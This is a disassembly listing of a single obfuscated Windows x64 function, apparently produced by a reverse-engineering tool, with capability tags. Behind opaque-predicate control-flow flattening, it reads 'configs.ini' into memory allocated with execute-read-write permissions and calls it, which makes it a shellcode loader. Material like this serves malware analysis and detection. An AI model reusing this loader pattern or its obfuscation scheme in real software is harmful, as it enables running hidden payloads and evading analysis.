Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
push rbp
sub rsp, 0x70
lea rbp, [rsp + 0x70]
mov qword [rbp - 0x18], rdx
mov dword [rbp - 0xc], ecx
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp - 8], rax
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001051
jmp 0x140001be7
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001083
jmp 0x140001be7
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400010b5
jmp 0x140001914
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400010e7
jmp 0x140001bec
mov rdx, qword [rbp - 0x18]
mov eax, 0x10
mov qword [rbp - 0x28], rax
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x28]
mov rcx, rsp
mov qword [rbp - 0x58], rcx
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x28]
mov r8, rsp
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x28]
mov rcx, rsp
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x28]
mov r9, rsp
mov qword [rbp - 0x50], r9
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x28]
mov r9, rsp
mov qword [rbp - 0x48], r9
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x28]
mov r9, rsp
mov qword [rbp - 0x40], r9
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x28]
mov r9, rsp
mov qword [rbp - 0x38], r9
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x28]
mov r9, rsp
mov qword [rbp - 0x30], r9
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x28]
mov dword [r8], 0
mov qword [rcx], rdx
call fcn.140001e10
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x20], rax
mov dword [rax], 0x29
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400011e1
jmp 0x140001bec
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001213
jmp 0x140001914
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001245
jmp 0x140001c8b
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001277
jmp 0x140001c8b
jmp 0x14000127c
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400012ae
jmp 0x1400019b3
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400012e0
jmp 0x140001c90
mov rax, qword [rbp - 0x20]
mov eax, dword [rax]
mov dword [rbp - 0x5c], eax
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000131b
jmp 0x140001c90
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000134d
jmp 0x1400019b3
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000137f
jmp 0x140001c95
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400013b1
jmp 0x140001c95
mov eax, dword [rbp - 0x5c]
sub eax, 0x29
je 0x1400014b5
jmp 0x1400013c2
mov eax, dword [rbp - 0x5c]
sub eax, 0x18be
je 0x140001762
jmp 0x1400013d5
mov eax, dword [rbp - 0x5c]
sub eax, 0x4823
je 0x14000153d
jmp 0x1400013e8
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000141a
jmp 0x140001a1c
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000144c
jmp 0x140001a1c
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000147e
jmp 0x140001c9a
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400014b0
jmp 0x140001c9a
jmp 0x1400018ab
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x40]
mov rax, qword [rbp - 0x50]
mov r8d, dword [rbp - 0xc]
mov dword [rax], r8d
mov qword [rcx], 0
mov rax, qword [str.configs.ini]
mov qword [rdx], rax
mov eax, dword [0x140015348]
mov dword [rdx + 8], eax
lea r8, [0x14001534c]
sub rsp, 0x20
call fcn.14000637c
add rsp, 0x20
mov rax, qword [rbp - 0x48]
mov rcx, qword [rax]
xor edx, edx
mov r8d, 2
sub rsp, 0x20
call fcn.1400066ac
add rsp, 0x20
mov rax, qword [rbp - 0x48]
mov rcx, qword [rax]
sub rsp, 0x20
call fcn.140006c68
mov rcx, qword [rbp - 0x58]
add rsp, 0x20
mov edx, eax
mov rax, qword [rbp - 0x20]
mov dword [rcx], edx
mov dword [rax], 0x4823
jmp 0x1400018ab
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000156f
jmp 0x140001c9f
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400015a1
jmp 0x140001c9f
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400015d3
jmp 0x140001a85
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001605
jmp 0x140001ca4
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x58]
mov edx, dword [rdx]
mov dword [rcx], edx
mov rcx, qword [rax]
xor r8d, r8d
sub rsp, 0x20
mov edx, r8d
call fcn.1400066ac
add rsp, 0x20
mov rax, qword [rbp - 0x38]
movsxd rdx, dword [rax]
xor eax, eax
mov ecx, eax
mov r8d, 0x1000
mov r9d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x38]
add rsp, 0x20
mov r8, rax
mov rax, qword [rbp - 0x30]
mov qword [rax], r8
mov r9, qword [rdx]
movsxd r8, dword [rcx]
mov rcx, qword [rax]
mov edx, 1
sub rsp, 0x20
call fcn.140006f60
add rsp, 0x20
mov rax, qword [rbp - 0x30]
sub rsp, 0x20
call qword [rax]
mov rax, qword [rbp - 0x20]
add rsp, 0x20
mov dword [rax], 0x18be
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400016c7
jmp 0x140001ca4
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400016f9
jmp 0x140001a85
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000172b
jmp 0x140001d39
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000175d
jmp 0x140001d39
jmp 0x1400018ab
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001794
jmp 0x140001d3e
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400017c6
jmp 0x140001d3e
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400017f8
jmp 0x140001b7e
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000182a
jmp 0x140001b7e
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000185c
jmp 0x140001d43
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000188e
jmp 0x140001d43
xor eax, eax
mov dword [rbp - 0x60], eax
mov rcx, qword [rbp - 8]
xor rcx, rbp
sub rsp, 0x20
call fcn.140001e70
mov eax, dword [rbp - 0x60]
mov rsp, rbp
pop rbp
ret
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400018dd
jmp 0x140001d48
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000190f
jmp 0x140001d48
jmp 0x14000127c
mov rdx, qword [rbp - 0x18]
mov eax, 0x10
mov qword [rbp - 0x68], rax
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x68]
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x68]
mov r8, rsp
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x68]
mov rcx, rsp
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x68]
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x68]
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x68]
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x68]
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x68]
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x68]
mov dword [r8], 0
mov qword [rcx], rdx
call fcn.140001e10
sub rsp, rax
mov rax, rsp
mov dword [rax], 0x29
jmp 0x1400010b5
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400019e5
jmp 0x140001d4d
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001a17
jmp 0x140001d4d
jmp 0x1400012ae
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001a4e
jmp 0x140001d52
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001a80
jmp 0x140001d52
jmp 0x14000141a
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001ab7
jmp 0x140001d57
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x58]
mov edx, dword [rdx]
mov dword [rcx], edx
mov rcx, qword [rax]
xor r8d, r8d
sub rsp, 0x20
mov edx, r8d
call fcn.1400066ac
add rsp, 0x20
mov rax, qword [rbp - 0x38]
movsxd rdx, dword [rax]
xor eax, eax
mov ecx, eax
mov r8d, 0x1000
mov r9d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x38]
add rsp, 0x20
mov r8, rax
mov rax, qword [rbp - 0x30]
mov qword [rax], r8
mov r9, qword [rdx]
movsxd r8, dword [rcx]
mov rcx, qword [rax]
mov edx, 1
sub rsp, 0x20
call fcn.140006f60
add rsp, 0x20
mov rax, qword [rbp - 0x30]
sub rsp, 0x20
call qword [rax]
mov rax, qword [rbp - 0x20]
add rsp, 0x20
mov dword [rax], 0x18be
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001b79
jmp 0x140001d57
jmp 0x1400015d3
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001bb0
jmp 0x140001dec
mov eax, dword [0x140020cc4]
mov ecx, dword [0x140020cc0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001be2
jmp 0x140001dec
jmp 0x1400017f8
jmp 0x140001051
mov rdx, qword [rbp - 0x18]
mov eax, 0x10
mov qword [rbp - 0x70], rax
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x70]
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x70]
mov r8, rsp
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x70]
mov rcx, rsp
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x70]
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x70]
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x70]
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x70]
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x70]
call fcn.140001e10
sub rsp, rax
mov rax, qword [rbp - 0x70]
mov dword [r8], 0
mov qword [rcx], rdx
call fcn.140001e10
sub rsp, rax
mov rax, rsp
mov dword [rax], 0x29
jmp 0x1400010e7
jmp 0x140001245
jmp 0x1400012e0
jmp 0x14000137f
jmp 0x14000147e
jmp 0x14000156f
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x58]
mov edx, dword [rdx]
mov dword [rcx], edx
mov rcx, qword [rax]
xor r8d, r8d
sub rsp, 0x20
mov edx, r8d
call fcn.1400066ac
add rsp, 0x20
mov rax, qword [rbp - 0x38]
movsxd rdx, dword [rax]
xor eax, eax
mov ecx, eax
mov r8d, 0x1000
mov r9d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x38]
add rsp, 0x20
mov r8, rax
mov rax, qword [rbp - 0x30]
mov qword [rax], r8
mov r9, qword [rdx]
movsxd r8, dword [rcx]
mov rcx, qword [rax]
mov edx, 1
sub rsp, 0x20
call fcn.140006f60
add rsp, 0x20
mov rax, qword [rbp - 0x30]
sub rsp, 0x20
call qword [rax]
mov rax, qword [rbp - 0x20]
add rsp, 0x20
mov dword [rax], 0x18be
jmp 0x140001605
jmp 0x14000172b
jmp 0x140001794
jmp 0x14000185c
jmp 0x1400018dd
jmp 0x1400019e5
jmp 0x140001a4e
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x58]
mov edx, dword [rdx]
mov dword [rcx], edx
mov rcx, qword [rax]
xor r8d, r8d
sub rsp, 0x20
mov edx, r8d
call fcn.1400066ac
add rsp, 0x20
mov rax, qword [rbp - 0x38]
movsxd rdx, dword [rax]
xor eax, eax
mov ecx, eax
mov r8d, 0x1000
mov r9d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x38]
add rsp, 0x20
mov r8, rax
mov rax, qword [rbp - 0x30]
mov qword [rax], r8
mov r9, qword [rdx]
movsxd r8, dword [rcx]
mov rcx, qword [rax]
mov edx, 1
sub rsp, 0x20
call fcn.140006f60
add rsp, 0x20
mov rax, qword [rbp - 0x30]
sub rsp, 0x20
call qword [rax]
mov rax, qword [rbp - 0x20]
add rsp, 0x20
mov dword [rax], 0x18be
jmp 0x140001ab7
jmp 0x140001bb0